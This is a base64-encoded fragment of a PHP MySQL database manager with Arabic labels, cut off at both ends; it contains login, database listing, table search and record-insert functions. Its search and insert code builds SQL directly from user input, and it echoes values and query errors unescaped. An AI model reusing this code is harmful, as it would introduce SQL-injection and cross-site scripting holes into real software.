CAgZWNobyI8dHI+PHRkPtPt0d3RIN7mx9rPIMfhyO3H5MfKOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQ gbmFtZT0naG9zdCcgc2l6ZT0xNSB2YWx1ZT0kaG9zdGRlZmF1bHQgLz48L3RkPjwvdHI+XG4iOw0KICAgI CAgICAgICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPsfT4yDH4ePTys7P4zo8L3RkPjx0ZD48aW5 wdXQgdHlwZT10ZXh0IG5hbWU9J3VzZXJpZCcgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQogICAgICAgI CAgICAgICAgZWNobyI8dHI+PHRkPt/h4+Ugx+Hj0ebROjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXBhc3N3b3J kIG5hbWU9J3B3b3JkMScgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQoNCiAgICAgICAgICAgICAgICBJZ igkZGJuYW1lYXJyYXkgIT0gIiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPj9 DP0lFIEM/RT9DP0NFOjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0nZGJuYSc+XG4iOw0KICAgICAgICAgICAgI CAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCBjb3VudCgkZGJuYW1lYXJyYXkpOyAkaSsrKSB7DQogICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRkYm4+JGRibiI7DQogICAgICA gICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iP HRyPjx0ZD48aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9naW4nIHZhbHVlPSfPzub hJyAvPjwvdGQ+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPHRkPjxpbnB1dCBjbGFzcz1zZXIgdHlwZ T1yZXNldCBuYW1lPSdyZXNldCcgdmFsdWU9J+PTzScgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICA gICAgIGVjaG8iPC9mb3JtPjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIGRicmVzdHJpY3QoKXsNC mlmKGlzc2V0KCRfU0VTU0lPTlsndXNlciddKSl7DQogICAgJHVzZXI9JF9TRVNTSU9OWyd1c2VyJ107DQo NCiAgICBzd2l0Y2goJHVzZXIpew0KDQogICAgLy9FZGl0IHRoZXNlICoqIHZhbHVlcy4gWW91IGNhbiBhZ GQgbW9yZSBjYXNlIHN0YXRlbWVudHMuDQogICAgICAgIGNhc2UgJyoqVXNlcioqJzoNCiAgICAgICAgICA
gICRkYm5hbWVhcnJheT0gYXJyYXkoJyoqZGJuYW1lKionLCAnKipkYm5hbWUyKionLCAnKipkYm5hbWUqK icpOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgIC8vZW5kIGVkaXQgdmFsdWVzDQoNCiAgICAgICAgZGV mYXVsdDoNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZGVmYWx0dXNlciddPXRydWU7DQogICAgICAgICAgI CAkZGJuYW1lYXJyYXkgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGxpbmsgPSBjb25uZWN0bXlzcWwoKTs NCg0KICAgICAgICAgICAgJGRiX2xpc3QgPSBteXNxbF9saXN0X2RicygkbGluayk7IC8vJGRiX2xpc3QNC iAgICAgICAgICAgICAgICAgICAgJGNudCA9IG15c3FsX251bV9yb3dzKCRkYl9saXN0KTsNCiAgICAgICA gICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCAkY250OyAkaSsrKSB7DQogICAgICAgICAgICAgICAgI CAgICAgICAgICAgJGRibmFtZWFycmF5WyRpXT0gbXlzcWxfZGJfbmFtZSgkZGJfbGlzdCwgJGkpOw0KICA gICAgICAgICAgICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkZGJuYW1lYXJyYXk7DQp9DQp9DQovL yoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio qKg0KLy9mdW5jdGlvbiBzaG93ZGJzKCRkYm5hbWVhcnJheSwgJGJhY2t1cHBhdGgpew0KZnVuY3Rpb24gc 2hvd2RicygkZGJuYW1lYXJyYXkpew0KICAgIC8vJGJhY2t1cHBhdGg9YWRkc2xhc2hlcygkYmFja3VwcGF 0aCk7DQogICAgICAgZWNobyI8dGFibGU+XG4iOw0KICAgICAgIGZvciAoJGkgPTA7ICRpIDwgY291bnQoJ GRibmFtZWFycmF5KTsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvIjx0cj48dGQ+IjsNCiA gICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR2Y T0ix+HQ5cfIIMfh7CDex9rPySAkZGJuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJyAnLCA kZGJuLCRhY3Rpb24sICdidXQnLCAnZGInLCAkdmEgKTsNCg0KICAgICAgICAgICAgJGRicz1teXNpemUoJ GRibmFtZWFycmF5WyRpXSwiIik7DQogICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiRkYnM8L3RkPjwvdHI +XG4iOw0KICAgICAgICB9DQogICAgZWNobyI8L3RhYmxlPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqK ioqKioqKioqKiBTaG93IExvZ291dCBCdXR0b24gKioqKioqKioqKg0KZnVuY3Rpb24gZW5kc2Vzcygpew0 KZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG5hbWU9J2VuZHNlc3MnIGFjdGlvbj0nJGFjdGlvbic+XG4iO w0KZWNobyI8aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9nb3V0JyB2YWx1ZT0nztH mzCcgLz5cbiI7DQplY2hvIjwvZm9ybT4iOw0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqK ioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0bXl zcWwoKXsNCiAgICAgICAgLy9Db25uZWN0cyB0byB0aGUgTXlTUUwgRGF0YWJhc2UuDQoNCg0KICAgICAgI CBpZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pICYmIGlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSk pew0KICAgICAgICAgICAgICAgICAkdXNlciA9ICRfU0VTU0lPTlsndXNlciddOw0KICAgICAgICAgICAgI CAgICAkcGFzcyA9ICRfU0VTU0lPTlsncGFzc3dvcmQnXTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgIGR pc3BsYXlfZm9vdCgpOw0KICAgICAgICBlY2hvIlxuPC9ib2R5PlxuPC9odG1sPiI7DQogICAgICAgICAgI CAgICAgZXhpdCgpOw0KICAgICAgICB9DQogICAgICAgICRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJF9TRVN TSU9OWydob3N0J10sICRfU0VTU0lPTlsndXNlciddLCAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pOw0KICAgI CAgICBpZighICRsaW5rKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxkaXYgY2xhc3M9J2Vycm9yJz5cbiI 7DQogICAgICAgICAgICAgICAgZWNobyJVbmFibGUgdG8gY29ubmVjdCB0byB0aGUgZGF0YWJhc2Ugc2Vyd mVyLiA8QlI+IjsNCiAgICAgICAgICAgICAgICBlY2hvIlRoZSBIb3N0OiAkX1NFU1NJT05baG9zdF0sIMf T4yDH4ePTys7P4zogJHVzZXIgx+Ygx+Hf4ePlIMfh09Ht5SDO2MfBLiA8YnI+IjsNCiAgICAgICAgICAgI CAgICBlY2hvIt3W4cfwINPM4SDO0ebMIOHh483H5uHlIOPR5SDHztHsLlxuIjsNCiAgICAgICAgICAgICA gICBlY2hvIjwvZGl2PlxuIjsNCg0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgZ XhpdCgpOw0KICAgICAgICB9IGVsc2V7DQogICAgICAgICAgICAgICAgcmV0dXJuICRsaW5rOw0KICAgICA gICB9DQoNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqK ioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0ZGIoJGRiLCAkbGluayl7DQogICAgICA gIGlmKCEgbXlzcWxfc2VsZWN0X2RiKCRkYiwkbGluaykpew0KICAgICAgICAgICAgICAgIGVjaG8iVW5hY mxlIHRvIGxvY2F0ZSBkYXRhYmFzZSAkZGIuPGJyPiBQbGVhc2UgdHJ5IGFnYWluIGxhdGVyLlxuIjsNCiA gICAgICAgICAgICAgICBleGl0KCk7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioqKioqKioqK ioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBleGV xdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkZGIpew0KICAgICAgICAkcmVzdWx0PSBAbXlzcWxfcXVlcnkoI CRzcWwgKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgLy9lY2hvICJRdWVyeSB zdWNjZXNzZnVsIjsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfWVsc2V7D QogICAgICAgICAgICAgICAgZWNobyJTb3JyeSB5b3VyIFF1ZXJ5IGZhaWxlZDogJHNxbCA8YnI+IGVycm9 yOiIubXlzcWxfZXJyb3IoKS4iXG4iOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgI CAgfQ0KfQ0KDQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio qKioqDQokZmllbGR0eXBlcyA9IGFycmF5KCJCSUdJTlQiLCAiQkxPQiIsICJDSEFSIiwgIkRBVEUiLCAiR EFURVRJTUUiLCAiREVDSU1BTCIsICJET1VCTEUiLCAiRU5VTSIsICJGTE9BVCIsDQogICJJTlQiLCAiSU5 URUdFUiIsICJMT05HQkxPQiIsICJMT05HVEVYVCIsICJNRURJVU1CTE9CIiwgIk1FRElVTUlOVCIsICJNR URJVU1URVhUIiwgIk5VTUVSSUMiLCAiUFJFQ0lTSU9OIiwNCiAiUkVBTCIsIlNFVCIsICJTTUFMTElOVCI sICJURVhUIiwgIlRJTUUiLCAiVElNRVNUQU1QIiwgIlRJTllCTE9CIiwgIlRJTllJTlQiLCAiVElOWVRFW FQiLCAiVkFSQ0hBUiIsICJZRUFSIiApOw0KDQoNCi8vKioqKioqKioqKioqKioqKioqIFNlYXJjaCBGb3J tICoqKioqKioqKioqKioqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIHNlYXJjaHRhYmxlZm9ybSgkdGFib GVuYW1lLCAkZGJuYW1lKXsNCiAgICAgICAgZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nJGF
jdGlvbic+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdkYm5hbWUnIHZhb HVlPSckZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndGF ibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9d GV4dCBuYW1lPSdzZWFyY2h2YWwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zZXIgdHl wZT1zdWJtaXQgbmFtZT0nc2VhcmNoJyB2YWx1ZT0nU2VhcmNoICR0YWJsZW5hbWUnIC8+XG4iOw0KICAgI CAgICBlY2hvIjwvZm9ybT5cbiI7DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKiBTZWFyY2ggKioqKio qKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2VhcmNodCgkdGFibGVuYW1lLCAkZGJuYW1lLCAkc 2VhcmNodmFsKXsNCiAgICAgICAgaWYoISBlbXB0eSgkc2VhcmNodmFsKSl7DQogICAgICAgICAgICAgICA gLy8gICAgICAgICRzZWFyY2h2YWw9IHN0cl9yZXBsYWNlKCI7IiwnICcsICRzZWFyY2h2YWwpOw0KICAgI CAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiLCAkdGFibGVuYW1lLCA kZGJuYW1lKTsNCiAgICAgICAgICAgICAgICAvLyRyZXN1bHQ9bXlzcWxfcXVlcnkoIlNlbGVjdCAqIGZyb 20gJHRhYmxlbmFtZSIpOw0KICAgICAgICAgICAgICAgICRudW0gPSBteXNxbF9udW1fZmllbGRzKCRyZXN 1bHQpOw0KICAgICAgICAgICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkd GFibGVuYW1lKTsNCiAgICAgICAgICAgICAgICAkd2hyPSJ3aGVyZSAiOw0KICAgICAgICAgICAgICAgICR 0b2s9ZXhwbG9kZSgiICIsJHNlYXJjaHZhbCk7DQogICAgICAgICAgICAgICAgZm9yICgkdCA9MDsgJHQgP CBjb3VudCgkdG9rKTsgJHQrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCAkYyA9IDA7ICR jIDwgJG51bTsgJGMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbiA9bXlzcWxfZ mllbGRfbmFtZSgkZmllbGRzLCAkYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aHI gLj0iICRmbiBsaWtlICclJHRva1skdF0lJyBvciAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KI CAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkd2hyPXRyaW0oc3Vic3RyX3JlcGxhY2UoJHd ociwgIiAiLCAtMykpOw0KICAgICAgICAgICAgICAgICRxdWVyeT0iU2VsZWN0ICogZnJvbSAkdGFibGVuY W1lICR3aHIiOw0KICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1 lLCAkZGJuYW1lKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfQ0KDQp9D QovLyoqKioqKioqKioqKioqKioqKioqKkdPVE8gYnV0dG9ucyoqKioqKioqKioqKioqKioqKioqKioqKio NCi8vcHJvdmlkZXMgYSBmb3JtIGFuZCBidXR0b24uDQoNCmZ1bmN0aW9uIGdvdG8oJHRhYmxlbmFt ZSwgJGRibmFtZSwgJGFjdGlvbiwgJGNsYXNzLCAkbmFtZSwgJHZhICl7DQogICAgICAgIC8vQWRkcyBhIG J1dHRvbi4NCg0KICAgICAgICBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+ XG4iOw0KDQogICAgICAgICAgICAgICAgaWYoISBlcmVnaSgndGFibGVzdGFydCcsICRuYW1lKSl7DQogIC AgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1 ZT0nJGRibmFtZScgLz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPW hpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgICAgICAg ICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPSRjbGFzcyB0eXBlPXN1Ym1pdCAgdm FsdWU9JyR2YScgbmFtZT0nJG5hbWUnIC8+XG4iOw0KICAgICAgICAgICAgICAgIC8vZWNobyI8aW5wdXQg Y2xhc3M9JGNsYXNzIHR5cGU9c3VibWl0ICB2YWx1ZT0nJGFjdGlvbicgbmFtZT0kbmFtZT4iOw0KICAgIC AgICBlY2hvIjwvZm9ybT5cbiI7DQoNCiAgICAgICAgLy9lY2hvIjxhIGNsYXNzPSRjbGFzcyBocmVmPSRh Y3Rpb24+JHZhPC9hPiI7DQogICAgICAgIC8vfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqIF Nob3dEQiAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2hvd2RiKCl7 DQovL2Z1bmN0aW9uIHNob3dkYigkYmFja3VwcGF0aCl7DQoNCiAgICAgICAgJGxpbms9Y29ubmVjdG15c3 FsKCk7DQogICAgICAgIGlmICgkbGluayl7DQogICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nZGInPiI7DQog ICAgICAgICAgICAgICAgZWNobyI8ZGl2IGNsYXNzPSdjcmVhbSc+XG4iOw0KICAgICAgICAgICAgICAgIG VjaG8iPGgyIGNsYXNzPWggPsXk1MfBIN7H2s/JIMzP7c/JPC9oMj5cbiI7DQoNCiAgICAgICAgICAgICAg ICBlY2hvIjxmb3JtIG5hbWU9Y2RiIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOw0KIC AgICAgICAgICAgICAgIGVjaG8iw9PjIMfh3sfaz8kgx+HMz+3PyTogPGlucHV0IHR5cGU9dGV4dCBuYW1l PW5kYm5hbWUgLz5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8YnIgLz48YnIgLz48aW5wdXQgY2xhc3 M9YnV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY25kYicgdmFsdWU9J8Xk1MfBIN7H2s/JIMzP7c/JJyAvPlxu IjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZm9ybT48YnIgLz4iOw0KICAgICAgICAgICAgICAgIGVjaG 8iPC9kaXY+IjsNCiAgICAgICAgICAgICAgICBlY2hvIjxoMiBjbGFzcz1oID7ex8bj5SDH4d7mx9rPIMfh 48rm3dHlPC9oMj5cbiI7DQogICAgICAgICAgICAgICAgLy9SZXN0cmljdCB0aGUgZGF0YWJhc2UgZm9yIH VzZXJzDQogICAgICAgICRkYm5hbWVhcnJheT0gZGJyZXN0cmljdCgpOw0KICAgICAgICBzaG93ZGJzKCRk Ym5hbWVhcnJheSk7DQogICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAgICAgICAgfQ0KDQp9DQoNCi8vKi oqKioqKioqKioqKioqKioqKioqKiBCdWlsZFdociAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioN Ci8vQnVpbGRzIHRoZSBXaGVyZSBwYXJ0IG9mIHF1ZXJpZXMuDQoNCmZ1bmN0aW9uIGJ1aWxkd2hyKCRway wgJHB2KXsNCiAgICAgICAgJHdocj0iIjsNCiAgICAgICAgJHBuID1jb3VudCgkcHYpOw0KICAgICAgICBm b3IoJHQgPTA7ICR0IDwgJHBuOyAkdCsrKXsNCiAgICAgICAgICAgICAgICAkd2hyLj0iJHBrWyR0XT0nJH B2WyR0XSciOw0KICAgICAgICAgICAgICAgIGlmKCR0IDwgJHBuLTEpew0KICAgICAgICAgICAgICAgICAg ICAgICAgJHdoci49IiBhbmQgIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaW YgKCR3aHIgIT0iICIpew0KICAgICAgICAgICAgICAgIHJldHVybiAkd2hyOw0KICAgICAgICB9ZWxzZXsN CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKi
oqKioqKioqKipBREQgUmVjb3JkICoqKioqKioqKioqKioqKioqKg0KDQpmdW5jdGlvbiBhZGRyZWNvcmQo JHRhYmxlbmFtZSwgJGRibmFtZSwgJGFycmF5KXsNCiAgICAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0IC ogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogICAgICAgIC8vJHJlc3VsdCA9 IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCg0KICAgICAgICAkZmxkcy A9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgIC8vJGZpZWxkcyA9IG15c3FsX2xpc3Rf ZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOw0KICAgICAgICAgICAkcXJ5PSIgIjsNCiAgICAkcXVlcn kgPSAiSW5zZXJ0IGludG8gJHRhYmxlbmFtZSBWYWx1ZXMoICI7DQogICAgICAgIGZvciAoJHggPTA7ICR4 IDwgJGZsZHM7ICR4Kyspew0KICAgICAgICAvL011bHRpcGxlIFNlbGVjdCB2YWx1ZXMgZm9yIFNFVA0KDQ ogICAgICAgaWYoaXNfYXJyYXkoJGFycmF5WyR4XSkpew0KICAgICAgICAgICAgJG12YWw9IiI7DQogICAg ICAgICAgICBmb3IoJG09MDsgJG0gPCBjb3VudCgkYXJyYXlbJHhdKTsgJG0rKyl7DQogICAgICAgICAgIC AgICAgaWYoJG0rMSA9PSBjb3VudCgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAgICAgICAgICRtdmFs Lj0gQWRkU2xhc2hlcygkYXJyYXlbJHhdWyRtXSk7DQoNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgIC AgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAg ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQ ogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5 WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcXJ5IC49ICInJGZ2YWwnIjsNCiAgICAgIC AgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAi LCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcXVlcnkgLj0gJHFyeS4iKS I7DQogICAvLyBlY2hvInFyeTogJHFyeSI7DQogICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAk dGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcm V0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsN CiAgICAgICAgfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKipBREQgRm9ybSAqKioqKioqKioqKi oqKioqKioqKioqDQoNCmZ1bmN0aW9uIGFkZGZvcm0oJHRhYmxlbmFtZSwgJGRibmFtZSl7DQogLy9EaXNw bGF5IHRoZSBmaWVsZCBuYW1lcyBhbmQgaW5wdXQgYm94ZXMNCiBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdG lvbicgbWV0aG9kPSdwb3N0Jz5cbiI7DQogZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnIGFs aWduPSdjZW50ZXInPlxuIjsNCiBlY2hvIjx0ciBjbGFzcz1oZWFkPjx0ZD5GaWVsZCBOYW1lPC90ZD48dG Q+VHlwZTwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPlxuIjsNCiAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0 ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogLy8kcmVzdWx0ID0gQG15c3 FsX3F1ZXJ5KCAiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiApOw0KICRmbGRzID0gbXlzcWxfbnVtX2Zp ZWxkcygkcmVzdWx0KTsNCiAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRhYmxlbm FtZSk7DQogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5h bWUnIC8+XG4iOw0KIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm 5hbWUnIC8+XG4iOw0KIGVjaG8iPHRyPlxuIjsNCg0KICRteGxlbiA9IDgwOy8vbWF4IHdpZHRoIG9mIHRo ZSBmb3JtIGZpZWxkcy4NCiBmb3IoJGk9MDsgJGkgPCAkZmxkczsgJGkrKyl7DQogICAgICAkYXV0byA9IC JmYWxzZSI7DQogICAgICBlY2hvICI8dGg+Ii5teXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAg ICAgICRmaWVsZG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsgIC8vIGFkZGVkDQogIC AgICAkdHlwZSAgPSBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsNCiAgICAgICRmbGVuID0gbXlz cWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICRmbGFnc3 RyaW5nID0gbXlzcWxfZmllbGRfZmxhZ3MgKCRyZXN1bHQsICRpKTsNCiAgICAvLyBTdGFydCBvZiBuZXcg Y29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgJG5ld3NxbCA9ICJzaG93IGNvbHVtbnMgZnJvbSAkdG FibGVuYW1lIGxpa2UgJyUiLiRmaWVsZG5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5 KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgLy9teXNxbF9xdWVyeSgkbmV3c3FsKS BvciBkaWUgKCdJIGNhbm5vdCBnZXQgdGhlIHF1ZXJ5IGJlY2F1c2U6ICcgLiBteXNxbF9lcnJvcigpKTsN CiAgICAgICRhcnI9bXlzcWxfZmV0Y2hfYXJyYXkoJG5ld3Jlc3VsdCk7DQogICAgLy8gRW5kIG9mIG5ldy Bjb2RlIGJsb2NrIGZvciBzZXQgZHJvcCBkb3duDQogICAgICBpZiAoZXJlZ2koInByaW1hcnkiLCRmbGFn c3RyaW5nICkpew0KICAgICAgICR0eXBlIC49ICIgUEsgIjsNCiAgICAgIH0NCiAgICAgIGlmKGVyZWdpKC JhdXRvIiwkZmxhZ3N0cmluZyApKXsNCiAgICAgICAkdHlwZSAuPSAiIGF1dG9faW5jcmVtZW50IjsNCiAg ICAgICAkYXV0byA9ICJ0cnVlIjsNCiAgICAgIH0NCiAgICAgIGlmICgkYXV0bz09InRydWUiKXsNCiAgIC AgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FycmF5WyRpXScg c2l6ZT0nJGZsZW4nIHZhbHVlPTAgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgfWVsc2VpZigkZmxlbiA+IC RteGxlbil7DQogICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgaWYoJHJ3cz4xMCl7DQog ICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhDQogICAgICAgIH0NCiAgIC AgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0nYXJyYXlbJGldJyByb3dzPSRy d3MgY29scz0kbXhsZW4+PC90ZXh0YXJlYT48L3RkPjwvdHI+XG4iOw0KICAgICAgICAvLyBTdGFydCBvZi BuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgfWVsc2VpZiAoc3RybmNtcCgkYXJyWzFdLCdz ZXQnLDMpPT0wIHx8IHN0cm5jbXAoJGFyclsxXSwnZW51bScsNCk9PTApeyAgLy8gV2UgaGF2ZSBhIGZpZW xkIHR5cGUgb2Ygc2V0IG9yIGVudW0NCiAgICAgICAkbnVtPXN1YnN0cl9jb3VudCgkYXJyWzFdLCcsJykg KyAxOyAgLy8gY291bnQgdGhlIG51bWJlciBvZiBlbnRyaWVzDQogICAgICAgJHBvcz1zdHJwb3MoJGFycl
sxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcNCiAgICAgICAkbmV3c3RyaW5nPXN1YnN0 cigkYXJyWzFdLCRwb3MrMSk7ICAvLyBnZXQgcmlkIG9mIHRoZSAnPz8/KCcNCiAgICAgICAkc25ld3N0cm luZz1zdHJfcmVwbGFjZSgnKScsJycsJG5ld3N0cmluZyk7IC8vIGdldCByaWQgb2YgdGhlIGxhc3QgJykn DQogICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIG ludG8gYW4gYXJyYXkNCiAgICAgICBpZihzdHJuY21wKCRhcnJbMV0sJ3NldCcsMyk9PTAgKXsvL1NldHMg Y2FuIGhhdmUgY29tYmluYXRpb25zIG9mIHZhbHVlcw0KICAgICAgICAgICBlY2hvICI8dGQ+U2V0IChzZW 